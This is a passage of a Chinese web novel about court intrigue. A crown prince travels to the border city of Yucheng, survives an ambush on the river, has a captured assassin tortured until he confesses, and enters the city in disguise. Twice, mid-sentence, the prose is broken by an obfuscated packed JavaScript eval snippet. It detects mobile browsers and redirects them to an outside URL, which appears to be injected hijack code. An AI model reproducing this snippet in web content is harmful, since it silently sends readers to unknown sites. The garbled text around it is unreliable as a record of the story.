“殿下!”李明礼皱起眉头,面露担忧之色,“虞城布防乃十余年心血所聚,正如赵将军所说,牵一发而动全身。若无确凿证据表明图纸已泄露,贸然更改,不仅耗费巨大,劳民伤财,若新防有疏漏,反而不美。” 皇帝叹了口气,有些不耐,“李爱卿言之有理。晏儿,你莫要多虑了。眼下,正值朝廷稍安之际,切不可再大动干戈,再生枝节了。” 他的意思很明显,便是不愿再议此事。周重晏只觉一阵无力,正欲再争。 “陛下,臣以为,太子殿下此言,实乃高瞻远瞩,老成谋国之言也。” 此言一出,满座皆惊。进言者正是二皇子舅父,方才一直沉默不语的林九思! 林九思不慌不忙举起笏板道:“殿下心系社稷,思虑周全,实乃宸朝之福。图纸之事,确有蹊跷,不可不防。变更布防,确是必要之举。” 就连皇帝也倍感诧异,“哦?林爱卿也如此认为?” “是。”林九思躬身,眼光一暗,“只是,李相同贺中丞所言,亦是实情。虞城经此一事,军民必然惶恐。此时若贸然大兴土木,变更防御,若无德高望重之重臣亲临坐镇,安抚民心,协调各方,只怕未受其利,先见其弊,反生乱象。” 他抬起头,语气郑重道:“故此,臣附议太子殿下变更布防之策,然望陛下即可派遣一位威望足以服众,能力足以担当,且对陛下忠心无二的肱骨之臣,即刻前往虞城,全权负责此事,方可保万无一失。” 他这番话说的滴水不漏。既赞成了太子调整布防的诉求,又顾及皇帝避免动荡的担忧。看起来,到像是一个两全其美的建议。 皇帝微微颔首,“爱卿此言有理,只是……派遣何人?爱卿可有人选?” 丞相李明礼立即上前一步,朗声道:“陛下,臣蒙圣恩,忝居相位,愿亲自前往虞城,稳定局势,查勘防务!” “李相忠心可嘉,然则,丞相乃国之柱石,中枢离不开您。且虞城乃军事重镇,情况复杂,丞相终究是文官,于此道……恐非最佳人选。” 林九思这话堵死了李明礼的路,也让众人更加疑惑他葫芦里卖的什么药。 他看向周重晏,再次语出惊人。 “臣以为,满朝文武,论身份之尊、威望之重、以及对边境安危关切之深,无出太子其右者!” “什么?!” 殿内瞬间响起几声低语,皇帝的瞳孔猛缩。 林九思如充耳未闻般,语气更加掷地有声。 “由太子殿下亲临虞城,既可彰显朝廷对虞城之重视,迅速安定军心民心,亦可令殿下实地了解边情,亲自判断布防变更之必要,一举多得。” 赵崇面露愕然,第一个反对:“不可!殿下乃国之储君,身系社稷,岂可亲涉险地?虞城乃边境重镇,若离朝趁机发难,殿下安危何人承担?!” “简直荒谬!”贺进险些将笏板掷地,口不择言:“林九思!你此言是何居心!太子乃国本,岂可轻涉险地?虞城虽已找回布防图,但离朝虎视眈眈,边境终究不安!若殿下有丝毫闪失,你担待得起吗?!你这是要将储君置于炭火之上!” 李明礼也蹙眉,显然不赞同,“还是让臣去……” 林九思却似早有预谋,完全不顾众人的脸色,侃侃而谈:“陛下,诸位大人,请听臣一言。” “太子殿下乃国之储君,身份尊贵,足以代表陛下与朝廷,彰显我宸朝对虞城安危的极度重视!殿下亲临,虞城军民必感天恩,士气大振,流言不攻自破!此其一。” “其二,殿下虽年轻,但文韬武略,近年来精进非凡,更有贺大人,江延将军等良师指点,对军务已有见解。由殿下亲自督导布防调整,既能确保朝廷意图得到彻底贯彻,对殿下而言,亦是绝佳的历练,可深入了解边关实情,于国于己,大有裨益!” “其三,亦可向离朝昭示,我宸朝上下同心,太子亲镇边关,固若金汤之决心!” 他这番话,已是为周重晏带上了一顶有一顶高帽。冠冕堂皇间,几乎将太子亲临的好处吹到了天上。 “你!”贺进气急,又碍于皇帝在场,不便出口大骂。 皇帝面露迟疑,显然觉得此举过于冒险,却又被林九思的话触动。 “晏儿,林爱卿之言,你意下如何?虞城之行,却有其利,亦有其险 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688576|186444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 所有人的目光,都聚集在周重晏身上。 周重晏深吸一口气,忽视了贺进意图阻止的眼神,上前一步。声音沉稳有力,清晰的响彻大殿: “儿臣以为,林大人所言为国分忧,历练自身之事,义不容辞。儿臣愿往!” 殿内一时寂静无声。赵崇同贺进痛心疾首,还欲再说什么,便被皇帝打断。 “既然太子有此决心……也罢。朕,准奏!” 林九思立即下拜,垂下那双带着算计的眼眸,高声道:“吾皇圣明!!” 夜色如墨,东宫书斋的烛火却亮如白昼。 周重晏将宣政殿发生的一切,都一五一十的告诉了卫逾之。 卫逾之心中巨震,几乎脱口而出:“殿下,这林九思分明是包藏祸心,不怀好意!您为何要应下?此去虞城,危机四伏……” “孤何尝不明白他的算计。他欲将孤调离长安,置于边陲险地,无论是孤是否出事,还是无功而返,于他,于二弟,皆有利可图。” 周重晏立于窗边,望着窗外沉沉的夜色,目光如炬,毫无惧色,只余下一片孤绝。 “但是,之儿,虞城布防必须变更,图纸疑云必须廓清。若因惧怕阴谋便畏缩不前,置边关安危于何地?置天下生民于何地?” 他缓缓转过身,闭上眼睛,声音不高,却带着千钧之力。 “纵然前路千辛万险,虽千万人,吾往矣。” 卫逾之一时失神,却见春喜快步来报:“少傅大人来了。” 话音未落,书斋大门未经通传便被推开,少傅贺进闯了进来。 他甚至顾不上礼节,手指颤颤巍巍的指着太子,“殿下,你,你糊涂啊!” “那厮分明是把你往火坑里推,你怎能如此轻易就范?” 贺进情绪激动,疾步上前,目光扫过一旁的卫逾之,脸色更沉。 “还有你!你平日里半驾左右,怎么也不劝劝殿下,如何能让他公然入殿,同陛下争论布防图一事呢?!” “少傅!”周重晏眉头一拧,上前一步,将卫逾之护在身后,“此事与她无关,孤意已决,不必多言!” 贺进被太子一斥,微微一怔,看着他回护的姿态,若有所思。 他深吸一口气,强行冷静下来,颓然道:“是臣失态了,只是殿下,那林九思绝非善类。此举背后,绝对有更大的阴谋,您此去,长安必生变故。” 周重晏眼神一凝,语气缓和下来,“孤知道,所以,更要请少傅,在孤离开之后,稳住朝局,洞察奸邪。” 贺进闻言,略一愣神,明白了太子的意思。 周重晏示意卫逾之将房门关上。 “林九思欲调虎离山,孤便将计就计。但孤不能毫无准备地踏入他的圈套。虞城,孤必须去。但长安,乃至虞城内部,都需有所安排。” 烛影摇曳,三人声音低促,进行着紧密的部署。 夜更深了,书房内的谋划却直至黎明。当贺进悄然离去,卫逾之也领命退下准备时,周重晏独自立于案前,目光落在摇曳的烛火上。 “林九思,但愿你的谋划,配得上孤亲赴虞城的豪赌。” 22. 遇刺 时值冬日,寒气渐浓。 长安灞桥之上,旌旗招展,仪仗肃穆。 周重晏披着一身玄狐大氅,立于车架前,向皇帝行礼告别,转而踏上马车,姿态从容。 卫逾之跟在其后,墨发束起,换上了劲装,外罩一件青锻披风。 她翻身上马,临出发前,忍不住回头望了一眼巍峨的长安城,眼底透出一抹暗色。 车架与护卫队伍浩浩荡荡启程,按照计划,他们将沿渭水乘船东上,至枢纽之地再转陆路北上虞城。 船队行驶在宽阔的水面上,两面景色渐趋荒凉。入夜后,寒风更紧,河水漆黑似墨,唯见船上烛光摇曳,映出粼粼波光。 万籁俱寂,仿佛只有流水之声,众人皆已入睡。 却在这时,异变突生! “咻咻咻——!” 数只燃起的箭矢自岸边芦苇荡中飞出,直直钉在官船的帆布与木制船舷上。火油遇木即燃,火舌迅速蹿起,照亮了黑暗的河面,也照亮了水中悄然靠近的数十道黑影! “走水了!有刺客!” “保护殿下!” 船上的侍卫连忙高声示警,陷入一片慌乱。 刺客们显然训练有素,他们利用钩索敏捷的攀上船舷,手持长刃,见人便砍,目标直指太子所在的朱雀舫。 他们人数众多,动作狠辣,一时间,甲板上刀光剑影,厮杀声,惨叫声不绝于耳。 为首的刺客突破重围,运起轻功,一刀劈开几个侍卫,直逼朱雀舫! 刀光剑影之间,舱门猛地洞开。 卫逾之手持长剑,卓然而立,神色冷峻,哪里还有平日里的温和沉静?她眼中没有丝毫意外,只有冰冷的杀意。 而她身后,竟是赫然涌出更多甲胄齐全,刀锋雪亮的精锐侍卫,这些人,显然早已埋伏在此! “不好,中计了!”刺客头领见状,脸色大变,心知陷阱,急欲后撤。 但为时已晚! “放信号!”卫逾之一声令下。 一枚信号弹冲天而起,划破九霄。 霎那间,运河上下游看似普通的货船,渔舟,纷纷掀开伪装,亮出兵器。 他们迅速向官船靠拢,封死了来路与去路!船上的伏兵个个张弓搭箭,对准了水上剩余的刺客。 与此同时,甲板上的侍卫们在卫逾之的指挥下,阵型变幻莫测,如同铜墙铁壁,将冲上船的刺客分割包围,逐一绞杀! 刺客们进退两难,在精心布置的天罗地网下,如困兽之斗。 不过一柱香的功夫,战斗便接近尾声。 刺客大部分伏诛,少数被生擒,嘴里塞了布条,防止其自尽。 头领还欲跳船遁走,卫逾之眸中寒光一闪,脚尖一点,掠至其身后,长剑劈向他的膝弯处。 那头领反应极快,回身格挡,刀剑相交,迸出火星。 卫逾之的剑身顺势一绞一挑,头领只觉手腕一痛,刀刃已然脱手飞出! 他还欲徒手相搏,卫逾之的剑尖已点在他的咽喉之前,他顿时僵住,不敢再动分毫。 “拿下!” 侍卫们一拥而上,将这个负隅顽抗的刺客牢牢捆紧。 卫逾之立于船头,收剑入鞘,衣袂在夜风和火光中飘扬。 她看也不看那垂死挣扎的俘虏,对身旁的侍卫统领冷然吩咐道:“撬开他们的嘴,问出主使,我倒想看看,是谁这么迫不及待的想要殿下的命!” 安排妥当,卫逾之这才转身,稍稍整理过仪容,换下那身沾染烟尘血色的劲装,着一身素白常服,发髻也重新挽起。 待她推开朱雀舫深处一处加固的密室大门时,杀气已渐渐散去,她的神情恢复了往日的平和,仿佛刚才在甲板上以凌厉剑法制服刺客头领的并非是她。 “殿下,外面火势已被控制住,刺客除俘虏外,已尽数伏诛。”卫逾之开口,语气没有什么波澜。 周重晏放下手中书卷,抬眸细细看着她。 烛光映照下,少女的眉眼间残留着一丝疲惫,所幸从头到脚仔细看过,周身应是没有伤痕。 “没伤着就好。今日你虽早有防备,到底是第一次见着这般情况,定要保全自身。” 他自然知晓眼前少女早非昔日阿蒙,可见她生死拼杀,仍会下意识担忧。 卫逾之走到他案前,微微摇头,“殿下放心,不过一些不入流的蟊贼,并未废大多周折。” 见她眼中并未恐惧恍惚之态,周重晏心下稍安。 “既然无事,便先回去歇着吧。折腾了半夜,定然累了。牢房那边污秽混乱,孤自己去看看便可。” 今夜,她已做的足够多,他不愿意看见她手上不该再沾染上任何血腥之事。 卫逾之却正色道:“微臣不累。此刻局势未明,牢房中鱼龙混杂,您若独自前往,微臣放心不下。” 周重晏看着她执拗的眼神,知道她决定的事情很难改变,尤其是关乎自己安危。 他心中倍感慰帖,又有些无奈,最终化作一声叹息:“罢了,那便一同去吧,只是……” “待会儿看见什么,听见什么,若感觉不适,便立刻出去,不必勉强。” “是。”卫逾之应下。 官船的底舱,原本用于堆放杂物,现在被临时改造成牢房。 空气中弥漫着浓郁的血腥味,汗臭味,以及皮肉被烧焦的古怪气味,令人作呕。 光线昏暗跳跃,模糊照亮地上斑驳的血迹,和刑架上铁链栓住的几名俘虏。 尖叫声,铁链碰撞声在牢房内回响。 侍卫统领见太子亲临,连忙上前禀报,神色凝重:“殿下,这帮人嘴极硬!鞭刑,烙铁,拶刑……我们能用的手段都用上了。可他们要么破口大骂,要么咬紧牙关,一言不发,更有甚者企图咬舌自尽,被我们及时发现,卸了下巴。” “至今,没有透露半个字……” 周重晏的目光扫过那些伤痕累累,仍旧目光凶狠的刺客,看不出喜怒。 卫逾之站在他身后,忍着空气中难闻的气味,仔细观察着。 他们个个伤势不轻,眼神中却依旧充满了决绝与漠然,绝非寻常亡命之徒! 她微微蹙眉,低声开口:“看他们的样子,在如此重刑之下仍不开口,视死如归,纪律严明。只怕,是精心培养的死士?” 周重晏略一颔首,他心中早有猜测。唯有死士,方能如此不计代价,守口如瓶。 “之儿,”他忽然开口,“孤突然想起来,朱雀舫内有一封即刻发往长安,寄给少傅的密信,孤方才出来的急,尚未用印。你回去替孤看看,若无误便用上东宫印鉴,交由信使速发。” 卫逾之一怔,这个借口来的突兀,她能感受到太子绝不想让她继续留在这里。 她张了张嘴,对上太子的目光,所有话都堵在了喉咙里。她了解他,不管他有什么理由,现在与他争论都毫无意义。 确认卫逾之的脚步声远去,周重晏脸上最后一丝温和尽数消散,眼神幽深似潭。 他转身看向侍卫统领,声音不高,却令人胆寒:“非常之人,需用非常之手段。若寻常刑罚他们觉得无味,便换些他们没有尝过的滋味。” “都出去,守住门口,任何人不可靠近,卫侍臣也不行。”他对着侍卫下令。 “殿下,您的安危……”侍卫统领有些犹豫。 “无妨,留他一人便可。以他现在的样子,伤不了孤。”周重晏指了指那个方才被卫逾 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一个面容平平无奇的侍卫无声无息的走了进来,手里提着一个不起眼的小包裹。 “让他开口。”周重晏淡淡吩咐,“记住,孤要口供,也要人证,所以,用那个法子。” 所谓那个法子,是宫廷或军中一种秘而不传的逼供手段,及其精妙而残酷。 它不会在受刑者体表留下任何明显痕迹,却能精准作用于人体经络,带来远超寻常鞭挞炮烙,深入灵魂的痛苦,足以摧毁最坚韧的意志。 侍卫显然精通此道,他打开那个包裹,里面是各种长短不一,细如牛毛,泛着冷光的银针。 接下来的半个时辰,对于刺客头领而言,远胜于在油锅中的煎熬。 无尽的痛苦一次又一次冲击着他的神经,他想要嘶吼,嘴中早已被塞入团团布条,只能发出虚弱的喘息。 冷汗渗透了他的衣衫,伴随着不受控制的颤抖,他的眼神从最开始的顽固,到痛苦,到涣散,再到最后,只剩下无边的恐惧与乞求。 周重晏始终面无表情的坐在一边,冷眼旁观,仿佛在看一场于己无关的闹剧。 当那侍卫停下动作,退到一旁时,那刺客头领已如同烂泥般瘫软在刑架上,只有出的气没有进的气,眼神空洞,涎水不受控制地从嘴角流下。 周重晏再次走到他面前,声音依旧平静:“现在,告诉孤,是谁派你来的?目的为何?说出来,痛苦就会结束。孤可以保证,给你一个痛快,并且……不牵连你或许尚在人世的家人。” “家人”二字,成了压垮骆驼的最后一根稻草。 那刺客头领涣散的目光中闪过一丝剧烈的挣扎,最终,求生的本能和对彻底解脱的渴望压倒了一切。 他翕动着干裂出血的嘴唇,用尽最后一丝气力,嘶哑地,断断续续地开口。 “是……是林……林九思……大人……” “令……令我等……在水路……截杀太子……不……不留活口……” “让他写下来,画押。”周重晏对侍卫吩咐。 很快,一份沾着血指印的口供呈到了他面前。上面清晰地写明了受林九思指使,于渭水行刺太子的罪行。 周重晏仔细看过,确认无误,小心收起。 他看了一眼那已然精神崩溃、只剩下一具空壳的刺客头领,对侍卫道:“明日便把他押回长安,用最好的药,吊住他的命。今晚将他单独关押,严加看管,绝不能让他死了。” “其余刺客……”周重晏回想起那些不成人形的躯体,语气淡漠,“既已无用,便都处理干净,扔入河中喂鱼吧。” 23. 虞城风云(一) 渭水的波涛裹挟着无数具尸体,无声的奔向远方。 周重晏独立船头,望着天上一轮孤月,寒风凌人,却吹散了牢房中的血腥与压抑。 从何时起,自己变得如此心狠手辣? 是从母后薨逝,自己独自面对父皇日渐深沉的目光,后宫嫔妃虚伪的笑脸,朝堂上的明争暗斗之时? 亦或是太傅辞官,让自己明白理想在根深蒂固的强权面前不堪一击之时? 还是,这储君之位本身,便要逼着自己褪去天真,用满地的鲜血铺平道路? 自己早就可以为了稳固地位,为了达成目的而不择手段。冷血,狠历,这些词用在自己身上,毫不冤枉。 只是那惯常温润如玉的外表将自己包裹的严严实实,鲜少有人能窥见内里的冰冷。 周重晏自嘲的弯了弯唇角。 这双手,早已不干净了。 但他从不后悔。朝堂博弈,边境烽火,哪一样不是白骨铺就? 若要护住想护之人,若要在这吃人的牢笼中活下去,有些事,必须做,有些手段,不得不用。 “殿下,此人如何处理?”侍卫统领上前,刺客头领没了半条命,此刻正被随从转移到回京的官船中。 周重晏回过神,压下心中翻涌的种种思绪,对侍卫统领吩咐了几句,确保那唯一活口被押送回长安的路程上性命无虞。 他略一停顿,环视四周,状若无意询问道:“之儿呢?可曾安歇?” 侍卫统领躬身答道:“回殿下,卫侍臣已按您的吩咐,送了密信,方才给大家安排了安神汤,而后回屋歇下了。” 周重晏抬眼望去,果然见卫逾之所在的舱房内漆黑一片,灯火已熄。 还好,她未曾看见自己方才的模样。 船队经此一役,加强了内外戒备,后续行程倒也算得上顺利。不几日便顺利抵达码头,众人弃舟登车,转为陆路。 车马仪仗浩荡,向着虞城方向迤逦而行。 时值深冬,北风愈发凛冽,天色阴沉,车架行走在官道上,卷起阵阵尘土。 越往北走,天气愈发寒冷,景色也愈发苍凉广袤。车马劳顿数日,距离虞城已不足百里。 周重晏远望远处隐隐约约、属于虞城地界的连绵山峦,神色愈发凝重。 林九思既然能在水路上公然行刺,难保在虞城便没有后手。 而这座被寄托了举国希望的边陲重城,内部又是何等光景? 明面上的抵达,只怕早已在暗处无数双眼睛的监视之下,想要暗中查探,难如登天。 那日傍晚,扎营之后,周重晏召来了卫逾之同几个身手矫健的心腹侍卫。 “明日,我们分头行动。大部分人依照原定计划,缓慢向虞城进发。” “而孤,则和卫侍臣,还有你们几个,轻装简从,扮做行走江湖的游侠,先行一步,潜入虞城。” “殿下,您这是?”众人皆是一惊。 “正所谓‘明修栈道,暗度陈仓’。”周重晏解释道:“其他人是‘明栈’,吸引外界目光。而我们,则是出其不意的奇兵。” 他看向卫逾之,目光也柔和下来:“之儿,此次还要委屈你,扮做一位隐世门派中离家游历的小姐,而孤……” “便是你的贴身侍卫。” 卫逾之愕然抬眸,随即了然。 他这是要微服私访,在各方势力还没有反应过来之前,直插虞城,看清这座城池的真实样貌。 毕竟,谁又想得到,一位江湖少女身旁不起眼的侍卫,便是当朝太子呢? 当所有人的注意力被那支招摇过市的队伍所吸引,他们这行人便可悄无声息的消失在人群中。 计划已定,众人迅速准备。次日清晨,一行人皆换上不起眼的棉布衣袍,脱离了大部队,沿着一条偏僻的小路,快马加鞭,直驱虞城。 行至半途,天空竟飘起了细碎的雪花。 起初只是零星几点,渐渐越来越密,如同随风飘扬的柳絮,纷纷扬扬地洒落下来。 天地间一片苍茫寂寥,远山、枯树、小径皆覆上了一片银白。 众人顶风冒雪,如此疾行数日,那座雄踞于北方要塞,饱经风霜的虞城,那高大巍峨,在雪幕中更显肃穆的城墙轮廓,终于出现在地平线上。 卫逾之身披一件带有兜帽的白色斗篷,一圈蓬松的白狐毛衬得她的脸颊愈发清冷。 她骑着马行在队伍稍前的位置,身姿挺拔,一柄长剑挂于那匹通体雪白的骏马上,更是称得她人如冰雪,气质出尘,颇有几分江湖侠女的飒爽。 周重晏则身着一身墨色劲装,外罩一件粗布外披,做普通侍卫打扮,落后她半个马身。 城门的兵士果然如其所料,对这只小队伍并未过多留意,简单问询几句便放行了。 城内街道宽阔,带着边塞独有的凌厉风霜,因下着雪天气寒冷,行人大多行色匆匆,周重晏四下观察,并未发现什么异样。 众人在略显空荡的街道上行走,最终停在了一座四层楼高,挂着“四方驿”幌子的客栈前。 这“四方驿”,并非虞城最豪华的客栈,却是南来北往的商队、行走江湖之人最爱落脚的地方,三教九流汇聚,消息最为灵通。 周重晏率先翻身下马,自然而然的走到卫逾之马前,伸手稳稳牵住了缰绳。 卫逾之会意,随即俯身,状若无意的贴近他。 “入住后,一切事宜,由你出面安排。记住,你现在是主事的小姐,一切由你决断便好。” 卫逾之心领神会,殿下这是将主导权尽数交于她手。 她直起身,对着迎上来的店小二从容吩咐道:“要两间上房,需得相邻的。再给我这些随行之人几间干净的客房,备些热汤热水并可口菜肴送去。” 说着,她从腰间钱囊中掏出一小块碎银,随意抛到店小二手里,“初到贵地,若有什么新鲜趣事,不妨也说来听听。” 店小二得了赏钱,顿时笑开了花,点头哈腰道:“得嘞!您几位里边请,这外头下着雪,里头暖和!小的保证给你们安排的妥妥当当!” “我们虞城别的没有,北地的烈酒可是一绝!至于热闹嘛……”他压低了声音,眼神环顾四周,“最近城里头查的紧,来往的生面孔都得盘问几句,说是当朝太子殿下亲临,好像是为了……” “啧,你跟客人胡说些什么?!”掌柜的听见了,呵了一声,“之前的事你忘了?” 店小二显然有些顾忌,忙止住话头:“哎,是小的多嘴了,小的现在就带你们去上房。” 周重晏挑了挑眉,将他的反应和未尽之言记于心中。又见卫逾之从容应对的背影,唇角微微扬起。 她适应的很快,比自己预想的还要好。 他们随着店小二来到二楼的上房,房间还算宽敞,陈设简洁,临街的窗棂糊着厚实的窗纸,将风雪的喧嚣隔绝了大半。 “姑娘,您看这间可还满意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16783442|186444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?旁边那间也收拾好了,给这位护卫大哥住。”店小二殷勤的用鸡毛掸子掸了掸本就一尘不染的桌椅。 卫逾之解下沾雪的斗篷,颔首道:“尚可,多谢了。” 店小二铺好被褥,搓着手,脸上堆着讨好的笑。 “姑娘看着不像是北地人,这大雪天的,是访亲还是……” 卫逾之端起他刚倒的热茶,随意开口:“家中长辈与虞城故交有生意上的往来,这些年久未走动,恰逢其大寿,便让我来探望,顺便游历一番,长长见识。” 店小二恍然,奉承道:“原来如此!姑娘一看就是见过大场面的!咱们虞城虽是边城,却也自有一番风光,尤其是这雪景……” “北地的雪确实是让人不胜寒啊,方才沿途路上,我竟没见到几个人,想来是都躲在屋子里了?”卫逾之不经意的打断,发出一声感慨。 店小二的笑容收敛了些,四下张望一番,见房门禁闭,这才凑上前低声道:“姑娘有所不知,咱们虞城啊,这几个月可不大太平!” 卫逾之端着茶杯的手恰到好处的顿了一下,露出惊愕之情,示意他说下去。 店小二的声音更低了,低的仿佛耳语。 “您可知,前任太守大人,约莫半年前跳崖自尽了?” “自尽?!怎么会?”卫逾之故作惊讶。 当时事发几日后,便听闻虞城太守杨铮因愧疚难当,不久后便寻不到踪影,侍从只在悬崖峭壁上找到他的一只鞋子,想来凶多吉少。 “可不是嘛!”店小二见她来了兴致,说的愈发起劲,“好端端的,突然就想不开了。唉,具体原因咱们普通老百姓也不知道。可这还不算完呢!” “这几天,有听说太子殿下要亲临虞城!这节骨眼上,又不知道从哪里冒出一个谣言,传的那叫一个邪乎!说是……” “说是咱们虞城的布防图,让离朝人给偷走了!” 卫逾之心中剧震! 布防图失窃的消息,朝廷严密封锁,就是怕引起恐慌,动摇军心。怎么会,传的连一个客栈的小伙计都知道了?! 她压下内心的惊涛骇浪,试图引导店小二说出更多:“布防图这等机密之物,岂会是说偷就偷的?怕不是有人故意嚼舌根吧?” 店小二却把脖子一缩,连连摆手:“姑娘,这话可不敢乱说!现在城里私下都传遍了,说得有鼻子有眼的!虽说官府没明说,但大家心里都嘀咕着呢!要不然,这盘查怎么会突然严了这么多?连太守都……唉,总之现在城里是人心惶惶,都怕哪天离朝的铁骑就打过来了!” “可知这谣言是从何处传起的?”卫逾之问。 店小二茫然地摇了摇头:“这哪说得清啊!都是道听途说,今天张三这么说,明天李四那么传,茶馆酒肆里悄悄议论几句,谁知道源头在哪儿?反正现在满城风雨,大家都这么说。” “小姐,茶要凉了。”见卫逾之还欲追问,立在门口的周重晏适时开口,这是在提醒她,该适可而止了。 店小二似乎也意识到自己多言,连忙哈腰:“是是是,姑娘您先歇着,小的去给姑娘拿一瓶热茶水来。” 房门一闭,卫逾之与周重晏对视一眼,表情前所未有的凝重。 “消息泄露的如此彻底。看来,虞城内部,确实有内鬼。” 周重晏走到窗边,透过窗纸的缝隙看着外面灰蒙蒙的天空与飘洒的雪花,眼神锐利如刀:“看来,这次虞城之行,我们真的来对了。” 24. 虞城风云(二) 虞城的冬夜格外冷寂,寒风在窗外呜咽,如同孤魂的絮语。 卫逾之睡得极不安稳。 她仿佛又回到了那个大雨倾盆的夜晚,牛棚潮湿,村民的吵嚷声直刺耳膜。 “须得找八字属水的幼女。” “下一次,就轮到你家余丫头!” 逃!拼命逃! 她拉着同样瘦小的寻梅,手心里全是冷汗。她们踏过滑腻的苔藓,转进那片终年弥漫着瘴气的森林。 雷声在乌云后轰鸣,雨水冰冷而刺骨,瞬间浇透单薄的衣衫。树枝划破脸颊,荆棘勾住裙角,泥泞吞噬脚踝! 狼嚎穿透雨幕,绿莹莹的光点,在昏暗的林间闪烁,逼近! 一辆覆盖着厚重油布的马车,突兀停在林间官道上。铜铃声在风中叮叮作响,她和寻梅用尽最后一丝力气,手脚并用的爬向车里。 霉味,草药味,还有一丝若有若无的血腥味,混杂着雨后泥土的气息,扑面而来。 车中的箱子,被掀开了。露出一张男孩的脸。他苍白,瘦削,眉眼却不似乡野男童。 他递出的油纸袋,装着让她们狼吞虎咽的干粮。同行的路上,他总是眼神空茫,仿佛承担着远超年龄的重任。 “但愿世间人无病,宁可架上药生尘。” “我叫何生尘。” 离别后,她和寻梅继续前行,踏过泥泞,迈向未知的长安。而何生尘,仿佛只是萍水相逢的过客,他们再无交集。 梦,戛然而止。 “之儿?之儿!” 急切的呼唤,将卫逾之从光怪陆离的梦境猛地拉回。她睁开眼,正对上周重晏近在咫尺的脸庞。 冷汗渗湿了卫逾之的鬓发,心脏在胸腔中狂跳,仿佛还停留在那个雨夜奔逃,狼群环伺的夜晚。 自得知朝廷将卫家村戕害幼女之人尽数捉捕下狱后,她已经很多年很多年没有梦见那个恐怖的夜晚。 周重晏显然是被她梦中的呓语惊醒,连外披都没来得及披,只着一身素色中衣,便匆忙赶来查看,此时正半跪在她榻旁。 “做噩梦了?”周重晏就着窗外透过来的微弱雪光,仔细打量着她的脸色,见她醒来,神色稍缓,眼里的担忧却没有彻底褪去。 卫逾之摇头,想要撑起身坐起。只是心口的悸动和过于久远的记忆带来的酸楚尚未平息,她的身体不由自主的微微颤抖。 见她如此,周重晏眉头轻蹙,不再犹豫,伸手将她揽入自己怀中,轻轻拍打着她的背脊。 “别怕,只是一个梦,都过去了,孤在这呢。” “殿下?”卫逾之怔住,身形一僵,好一会才反应过来。她脸上绯红,想要挣开,周重晏却没有放手。 温暖的怀抱确实让她紧绷的神经渐渐放松,梦境的余悸却依旧在心头萦绕。 “微臣没事,殿下您……”卫逾之有些赧然,欲言又止。周重晏也意识到自己的失态,松开了怀抱,转而握住她冰冷的手。 “你方才在梦里,一直呢喃着两个名字。一个是寻梅,孤知道。还有一个……” “何生尘……”周重晏斟酌良久,忍不住开口,声音带着不解,“他是你的朋友吗?” 卫逾之垂下眼睫,深吸一口气,将出逃那晚的遭遇,以及那个生世成迷的男孩,全部托盘而出。这是她深埋心底的秘密,从没有对任何人说过。 周重晏的神色愈发凝重,就连与她相握的手也不自觉的收紧,又怕弄疼了她,连忙松开。 他想象着年幼的稚女在那样的雨夜,是如何赤足奔逃于狼群与愚昧的追捕之间,是何等的惊恐与无助。 而自己,彼时正高居东宫,锦衣玉食,全然不知这世间另一角,有这样一个小小的生命在苦苦挣扎。 “是孤不好,孤没能早点遇见你,救你出苦海。” 卫逾之苦笑,殿下能救她一人出苦海,可世上,却还剩下千千万万的女子,受尽磋磨。 她还想说些什么,周重晏已经收敛了情绪,转而提起另一件事。 “两国边境,离朝服饰,医者,‘何’姓……之儿,你说的这些,倒让孤想起一桩密辛!” 他稍稍坐起身子,低声道:“离朝上一任皇帝,也就是当今离帝的父亲,并非寿终正寝,而是被毒杀的。” 卫逾之愕然抬头。 周重晏继续道:“下毒者,是离朝宫廷内一个医术高超,世代为医的太医世家。嘉泰七年,也就是离朝顺和元年,此事败露,当今离帝震怒,下旨将其满门抄斩,鸡犬不留。” “而这个太医世家,便是何氏一族。” 何氏! 卫逾之的瞳孔猛缩,嘉泰七年,这正是她和寻梅出逃,路遇何生尘那年! 何生尘的姓氏、精湛的医术、若有若无的悲伤,似乎在她的脑海中连成一线,一切都说的通了。 难道,他竟是太医何家的遗孤?在那场灭门之祸中侥幸逃生,从此隐姓埋名,流落异国? “然而,”周重晏话锋一转,“离朝民间亦有传闻,说事实恰好相反。” “他们说,毒杀离朝先帝的并非何家,真正的幕后黑手,正是当今离帝本人!” “他弑父夺位,为了掩人耳目,便找了何家这个替罪羊,将其全族灭口,以绝后患,也震慑朝野。” 卫逾之遍体生寒。若当真如此,那何生尘现下是生是死?身在何处?离帝是否已知道他还在人世,意图追杀? “世间种种,有时未必全是巧合。此人若真是何家遗孤,那与你,倒也算得上有缘了。你梦见他,或许便是冥冥之中的一点灵犀。”周重晏见她表情惊魂不定,便知她也想到了什么,开口宽慰。 “此事,暂且记下。先睡吧,明日还有要事。” 这后半夜,卫逾之却再难入眠,思绪纷乱。 梦境与现实的边缘模糊,遥远的往事也现在的危局再次被串联。 翌日,雪霁初晴。二人商议一番,打算向店小二打听打听附近可有什么登高望远,踏雪赏景的好地方,自然而然的打听到城外那座据说颇为壮观巍峨,却又陡峭险峻的北恒峰。 前太守崔寅,正是在此处坠崖。 崔寅此人,并非虞城本地或长安显贵出生,而是从南方一个偏远之地调任而来,在虞城根基不深,在任时间也不算长。 